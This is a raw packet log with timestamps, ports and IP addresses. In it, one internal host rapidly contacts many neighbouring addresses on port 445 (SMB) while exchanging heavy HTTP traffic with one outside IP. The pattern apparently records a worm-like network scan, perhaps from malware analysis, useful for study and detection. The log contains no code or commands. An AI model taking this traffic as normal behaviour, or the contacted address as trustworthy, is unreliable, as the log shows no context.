Jul 6, 2024 14:10:24.171277046 CEST	445	49964	192.168.0.50	192.168.2.4
Jul 6, 2024 14:10:24.171828985 CEST	445	49965	192.168.0.177	192.168.2.4
Jul 6, 2024 14:10:24.171876907 CEST	49965	445	192.168.2.4	192.168.0.177
Jul 6, 2024 14:10:24.177026033 CEST	49966	445	192.168.2.4	192.168.0.51
Jul 6, 2024 14:10:24.177663088 CEST	49967	445	192.168.2.4	192.168.0.178
Jul 6, 2024 14:10:24.181848049 CEST	445	49966	192.168.0.51	192.168.2.4
Jul 6, 2024 14:10:24.181922913 CEST	49966	445	192.168.2.4	192.168.0.51
Jul 6, 2024 14:10:24.181991100 CEST	49966	445	192.168.2.4	192.168.0.51
Jul 6, 2024 14:10:24.182460070 CEST	445	49967	192.168.0.178	192.168.2.4
Jul 6, 2024 14:10:24.182518005 CEST	49967	445	192.168.2.4	192.168.0.178
Jul 6, 2024 14:10:24.182598114 CEST	49967	445	192.168.2.4	192.168.0.178
Jul 6, 2024 14:10:24.186711073 CEST	445	49966	192.168.0.51	192.168.2.4
Jul 6, 2024 14:10:24.187485933 CEST	445	49967	192.168.0.178	192.168.2.4
Jul 6, 2024 14:10:24.187534094 CEST	49967	445	192.168.2.4	192.168.0.178
Jul 6, 2024 14:10:24.192540884 CEST	49968	445	192.168.2.4	192.168.0.179
Jul 6, 2024 14:10:24.197331905 CEST	445	49968	192.168.0.179	192.168.2.4
Jul 6, 2024 14:10:24.197426081 CEST	49968	445	192.168.2.4	192.168.0.179
Jul 6, 2024 14:10:24.198966980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.198980093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.198992014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199026108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199067116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199141026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199160099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199179888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199192047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199270010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199280024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199314117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199431896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199456930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199467897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199479103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199491024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199510098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199537992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199580908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199595928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199637890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199697971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199742079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199778080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199817896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199913979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199956894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.199961901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199973106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.199996948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.200015068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.200176001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.200186968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.200197935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.200227022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.200253963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201034069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201045036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201056004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201080084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201102018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201109886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201122046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201147079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201163054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201196909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201208115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201217890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201229095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201241970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201256990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201277018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201288939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201298952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201334000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201463938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201486111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201497078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201508045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201522112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201543093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201575994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201586008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201620102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201658010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201668024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201708078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201750040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201791048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.201792002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.201833010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.202050924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202069044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202080965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202092886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.202115059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.202140093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202150106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202181101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.202225924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202267885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.202279091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202313900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.202770948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202783108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202795029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202817917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.202831030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202838898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.202842951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.202867985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.202882051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203165054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203176022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203187943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203198910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203211069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203236103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203382015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203392982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203402996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203428030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203438997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203450918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203461885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203488111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203501940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203687906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203717947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203728914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203733921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203756094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203768969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203860044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203869104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203903913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203903913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203938961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.203959942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.203998089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.204091072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.204133034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.204133987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.204173088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.204209089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.204250097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.204260111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.204302073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.207886934 CEST	49968	445	192.168.2.4	192.168.0.179
Jul 6, 2024 14:10:24.208533049 CEST	49969	445	192.168.2.4	192.168.0.180
Jul 6, 2024 14:10:24.212728977 CEST	445	49968	192.168.0.179	192.168.2.4
Jul 6, 2024 14:10:24.212783098 CEST	49968	445	192.168.2.4	192.168.0.179
Jul 6, 2024 14:10:24.213294029 CEST	445	49969	192.168.0.180	192.168.2.4
Jul 6, 2024 14:10:24.213354111 CEST	49969	445	192.168.2.4	192.168.0.180
Jul 6, 2024 14:10:24.213433027 CEST	49969	445	192.168.2.4	192.168.0.180
Jul 6, 2024 14:10:24.218403101 CEST	445	49969	192.168.0.180	192.168.2.4
Jul 6, 2024 14:10:24.218544960 CEST	445	49969	192.168.0.180	192.168.2.4
Jul 6, 2024 14:10:24.218585968 CEST	49969	445	192.168.2.4	192.168.0.180
Jul 6, 2024 14:10:24.223704100 CEST	49970	445	192.168.2.4	192.168.0.52
Jul 6, 2024 14:10:24.223704100 CEST	49971	445	192.168.2.4	192.168.0.53
Jul 6, 2024 14:10:24.223998070 CEST	49972	445	192.168.2.4	192.168.0.181
Jul 6, 2024 14:10:24.228569984 CEST	445	49970	192.168.0.52	192.168.2.4
Jul 6, 2024 14:10:24.228580952 CEST	445	49971	192.168.0.53	192.168.2.4
Jul 6, 2024 14:10:24.228636026 CEST	49970	445	192.168.2.4	192.168.0.52
Jul 6, 2024 14:10:24.228660107 CEST	49971	445	192.168.2.4	192.168.0.53
Jul 6, 2024 14:10:24.228697062 CEST	49970	445	192.168.2.4	192.168.0.52
Jul 6, 2024 14:10:24.228723049 CEST	445	49972	192.168.0.181	192.168.2.4
Jul 6, 2024 14:10:24.228730917 CEST	49971	445	192.168.2.4	192.168.0.53
Jul 6, 2024 14:10:24.228770971 CEST	49972	445	192.168.2.4	192.168.0.181
Jul 6, 2024 14:10:24.228840113 CEST	49972	445	192.168.2.4	192.168.0.181
Jul 6, 2024 14:10:24.233555079 CEST	445	49970	192.168.0.52	192.168.2.4
Jul 6, 2024 14:10:24.233563900 CEST	445	49971	192.168.0.53	192.168.2.4
Jul 6, 2024 14:10:24.234318018 CEST	445	49972	192.168.0.181	192.168.2.4
Jul 6, 2024 14:10:24.234472036 CEST	49972	445	192.168.2.4	192.168.0.181
Jul 6, 2024 14:10:24.239424944 CEST	49973	445	192.168.2.4	192.168.0.55
Jul 6, 2024 14:10:24.239593983 CEST	49974	445	192.168.2.4	192.168.0.54
Jul 6, 2024 14:10:24.239782095 CEST	49975	445	192.168.2.4	192.168.0.182
Jul 6, 2024 14:10:24.244594097 CEST	445	49973	192.168.0.55	192.168.2.4
Jul 6, 2024 14:10:24.244604111 CEST	445	49974	192.168.0.54	192.168.2.4
Jul 6, 2024 14:10:24.244612932 CEST	445	49975	192.168.0.182	192.168.2.4
Jul 6, 2024 14:10:24.244685888 CEST	49973	445	192.168.2.4	192.168.0.55
Jul 6, 2024 14:10:24.244734049 CEST	49973	445	192.168.2.4	192.168.0.55
Jul 6, 2024 14:10:24.244734049 CEST	49975	445	192.168.2.4	192.168.0.182
Jul 6, 2024 14:10:24.244735956 CEST	49974	445	192.168.2.4	192.168.0.54
Jul 6, 2024 14:10:24.244818926 CEST	49974	445	192.168.2.4	192.168.0.54
Jul 6, 2024 14:10:24.244832993 CEST	49975	445	192.168.2.4	192.168.0.182
Jul 6, 2024 14:10:24.249816895 CEST	445	49973	192.168.0.55	192.168.2.4
Jul 6, 2024 14:10:24.249825954 CEST	445	49974	192.168.0.54	192.168.2.4
Jul 6, 2024 14:10:24.250734091 CEST	445	49975	192.168.0.182	192.168.2.4
Jul 6, 2024 14:10:24.250811100 CEST	445	49975	192.168.0.182	192.168.2.4
Jul 6, 2024 14:10:24.250853062 CEST	49975	445	192.168.2.4	192.168.0.182
Jul 6, 2024 14:10:24.254904032 CEST	49976	445	192.168.2.4	192.168.0.56
Jul 6, 2024 14:10:24.255016088 CEST	49977	445	192.168.2.4	192.168.0.183
Jul 6, 2024 14:10:24.259776115 CEST	445	49976	192.168.0.56	192.168.2.4
Jul 6, 2024 14:10:24.259784937 CEST	445	49977	192.168.0.183	192.168.2.4
Jul 6, 2024 14:10:24.259848118 CEST	49976	445	192.168.2.4	192.168.0.56
Jul 6, 2024 14:10:24.259910107 CEST	49977	445	192.168.2.4	192.168.0.183
Jul 6, 2024 14:10:24.259910107 CEST	49977	445	192.168.2.4	192.168.0.183
Jul 6, 2024 14:10:24.259979963 CEST	49976	445	192.168.2.4	192.168.0.56
Jul 6, 2024 14:10:24.264770031 CEST	445	49976	192.168.0.56	192.168.2.4
Jul 6, 2024 14:10:24.265464067 CEST	445	49977	192.168.0.183	192.168.2.4
Jul 6, 2024 14:10:24.265506983 CEST	49977	445	192.168.2.4	192.168.0.183
Jul 6, 2024 14:10:24.270601034 CEST	49978	445	192.168.2.4	192.168.0.57
Jul 6, 2024 14:10:24.270672083 CEST	49979	445	192.168.2.4	192.168.0.184
Jul 6, 2024 14:10:24.275604963 CEST	445	49978	192.168.0.57	192.168.2.4
Jul 6, 2024 14:10:24.275615931 CEST	445	49979	192.168.0.184	192.168.2.4
Jul 6, 2024 14:10:24.275676966 CEST	49978	445	192.168.2.4	192.168.0.57
Jul 6, 2024 14:10:24.275732994 CEST	49978	445	192.168.2.4	192.168.0.57
Jul 6, 2024 14:10:24.275738001 CEST	49979	445	192.168.2.4	192.168.0.184
Jul 6, 2024 14:10:24.275799990 CEST	49979	445	192.168.2.4	192.168.0.184
Jul 6, 2024 14:10:24.280515909 CEST	445	49978	192.168.0.57	192.168.2.4
Jul 6, 2024 14:10:24.281241894 CEST	445	49979	192.168.0.184	192.168.2.4
Jul 6, 2024 14:10:24.281292915 CEST	49979	445	192.168.2.4	192.168.0.184
Jul 6, 2024 14:10:24.286134958 CEST	49980	445	192.168.2.4	192.168.0.58
Jul 6, 2024 14:10:24.286308050 CEST	49981	445	192.168.2.4	192.168.0.185
Jul 6, 2024 14:10:24.290982962 CEST	445	49980	192.168.0.58	192.168.2.4
Jul 6, 2024 14:10:24.291052103 CEST	49980	445	192.168.2.4	192.168.0.58
Jul 6, 2024 14:10:24.291124105 CEST	49980	445	192.168.2.4	192.168.0.58
Jul 6, 2024 14:10:24.291160107 CEST	445	49981	192.168.0.185	192.168.2.4
Jul 6, 2024 14:10:24.291220903 CEST	49981	445	192.168.2.4	192.168.0.185
Jul 6, 2024 14:10:24.291313887 CEST	49981	445	192.168.2.4	192.168.0.185
Jul 6, 2024 14:10:24.295845985 CEST	445	49980	192.168.0.58	192.168.2.4
Jul 6, 2024 14:10:24.296518087 CEST	445	49981	192.168.0.185	192.168.2.4
Jul 6, 2024 14:10:24.296571970 CEST	49981	445	192.168.2.4	192.168.0.185
Jul 6, 2024 14:10:24.301759005 CEST	49982	445	192.168.2.4	192.168.0.59
Jul 6, 2024 14:10:24.302088976 CEST	49983	445	192.168.2.4	192.168.0.186
Jul 6, 2024 14:10:24.306685925 CEST	445	49982	192.168.0.59	192.168.2.4
Jul 6, 2024 14:10:24.306757927 CEST	49982	445	192.168.2.4	192.168.0.59
Jul 6, 2024 14:10:24.306816101 CEST	49982	445	192.168.2.4	192.168.0.59
Jul 6, 2024 14:10:24.307050943 CEST	445	49983	192.168.0.186	192.168.2.4
Jul 6, 2024 14:10:24.307101965 CEST	49983	445	192.168.2.4	192.168.0.186
Jul 6, 2024 14:10:24.311606884 CEST	445	49982	192.168.0.59	192.168.2.4
Jul 6, 2024 14:10:24.317233086 CEST	49983	445	192.168.2.4	192.168.0.186
Jul 6, 2024 14:10:24.317519903 CEST	49984	445	192.168.2.4	192.168.0.60
Jul 6, 2024 14:10:24.317641020 CEST	49985	445	192.168.2.4	192.168.0.187
Jul 6, 2024 14:10:24.322356939 CEST	445	49983	192.168.0.186	192.168.2.4
Jul 6, 2024 14:10:24.322369099 CEST	445	49984	192.168.0.60	192.168.2.4
Jul 6, 2024 14:10:24.322421074 CEST	49983	445	192.168.2.4	192.168.0.186
Jul 6, 2024 14:10:24.322441101 CEST	49984	445	192.168.2.4	192.168.0.60
Jul 6, 2024 14:10:24.322489977 CEST	445	49985	192.168.0.187	192.168.2.4
Jul 6, 2024 14:10:24.322529078 CEST	49984	445	192.168.2.4	192.168.0.60
Jul 6, 2024 14:10:24.322552919 CEST	49985	445	192.168.2.4	192.168.0.187
Jul 6, 2024 14:10:24.327439070 CEST	445	49984	192.168.0.60	192.168.2.4
Jul 6, 2024 14:10:24.332879066 CEST	49985	445	192.168.2.4	192.168.0.187
Jul 6, 2024 14:10:24.333139896 CEST	49986	445	192.168.2.4	192.168.0.61
Jul 6, 2024 14:10:24.333235979 CEST	49987	445	192.168.2.4	192.168.0.188
Jul 6, 2024 14:10:24.338815928 CEST	445	49985	192.168.0.187	192.168.2.4
Jul 6, 2024 14:10:24.338828087 CEST	445	49986	192.168.0.61	192.168.2.4
Jul 6, 2024 14:10:24.338839054 CEST	445	49987	192.168.0.188	192.168.2.4
Jul 6, 2024 14:10:24.338884115 CEST	49985	445	192.168.2.4	192.168.0.187
Jul 6, 2024 14:10:24.338908911 CEST	49986	445	192.168.2.4	192.168.0.61
Jul 6, 2024 14:10:24.338943005 CEST	49987	445	192.168.2.4	192.168.0.188
Jul 6, 2024 14:10:24.339019060 CEST	49986	445	192.168.2.4	192.168.0.61
Jul 6, 2024 14:10:24.339040995 CEST	49987	445	192.168.2.4	192.168.0.188
Jul 6, 2024 14:10:24.343904018 CEST	445	49986	192.168.0.61	192.168.2.4
Jul 6, 2024 14:10:24.345660925 CEST	445	49987	192.168.0.188	192.168.2.4
Jul 6, 2024 14:10:24.345711946 CEST	49987	445	192.168.2.4	192.168.0.188
Jul 6, 2024 14:10:24.348654985 CEST	49988	445	192.168.2.4	192.168.0.62
Jul 6, 2024 14:10:24.348839045 CEST	49989	445	192.168.2.4	192.168.0.189
Jul 6, 2024 14:10:24.353616953 CEST	445	49988	192.168.0.62	192.168.2.4
Jul 6, 2024 14:10:24.353693962 CEST	49988	445	192.168.2.4	192.168.0.62
Jul 6, 2024 14:10:24.353744030 CEST	445	49989	192.168.0.189	192.168.2.4
Jul 6, 2024 14:10:24.353765965 CEST	49988	445	192.168.2.4	192.168.0.62
Jul 6, 2024 14:10:24.353795052 CEST	49989	445	192.168.2.4	192.168.0.189
Jul 6, 2024 14:10:24.353863001 CEST	49989	445	192.168.2.4	192.168.0.189
Jul 6, 2024 14:10:24.358731031 CEST	445	49988	192.168.0.62	192.168.2.4
Jul 6, 2024 14:10:24.359710932 CEST	445	49989	192.168.0.189	192.168.2.4
Jul 6, 2024 14:10:24.359765053 CEST	49989	445	192.168.2.4	192.168.0.189
Jul 6, 2024 14:10:24.364258051 CEST	49990	445	192.168.2.4	192.168.0.63
Jul 6, 2024 14:10:24.364386082 CEST	49991	445	192.168.2.4	192.168.0.190
Jul 6, 2024 14:10:24.369251013 CEST	445	49990	192.168.0.63	192.168.2.4
Jul 6, 2024 14:10:24.369262934 CEST	445	49991	192.168.0.190	192.168.2.4
Jul 6, 2024 14:10:24.369329929 CEST	49991	445	192.168.2.4	192.168.0.190
Jul 6, 2024 14:10:24.369329929 CEST	49990	445	192.168.2.4	192.168.0.63
Jul 6, 2024 14:10:24.369380951 CEST	49990	445	192.168.2.4	192.168.0.63
Jul 6, 2024 14:10:24.369451046 CEST	49991	445	192.168.2.4	192.168.0.190
Jul 6, 2024 14:10:24.374130011 CEST	445	49990	192.168.0.63	192.168.2.4
Jul 6, 2024 14:10:24.374492884 CEST	445	49991	192.168.0.190	192.168.2.4
Jul 6, 2024 14:10:24.374917030 CEST	445	49991	192.168.0.190	192.168.2.4
Jul 6, 2024 14:10:24.374960899 CEST	49991	445	192.168.2.4	192.168.0.190
Jul 6, 2024 14:10:24.379868984 CEST	49992	445	192.168.2.4	192.168.0.64
Jul 6, 2024 14:10:24.380021095 CEST	49993	445	192.168.2.4	192.168.0.191
Jul 6, 2024 14:10:24.384682894 CEST	445	49992	192.168.0.64	192.168.2.4
Jul 6, 2024 14:10:24.384752989 CEST	49992	445	192.168.2.4	192.168.0.64
Jul 6, 2024 14:10:24.384784937 CEST	445	49993	192.168.0.191	192.168.2.4
Jul 6, 2024 14:10:24.384840012 CEST	49993	445	192.168.2.4	192.168.0.191
Jul 6, 2024 14:10:24.384865046 CEST	49992	445	192.168.2.4	192.168.0.64
Jul 6, 2024 14:10:24.389678001 CEST	445	49992	192.168.0.64	192.168.2.4
Jul 6, 2024 14:10:24.393013000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393026114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393035889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393070936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393088102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393140078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393176079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393176079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393187046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393212080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393228054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393470049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393481970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393491983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393517017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393543959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393680096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393691063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393701077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393726110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393747091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393799067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393831015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.393841982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.393868923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.394021034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394030094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394040108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394066095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394067049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.394085884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.394099951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.394269943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394290924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394301891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394309044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.394334078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.394494057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394540071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.394606113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394615889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394651890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.394783020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394794941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394804955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.394831896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.394855022 CEST	49732	80	192.168.2.4	211.108.60.155
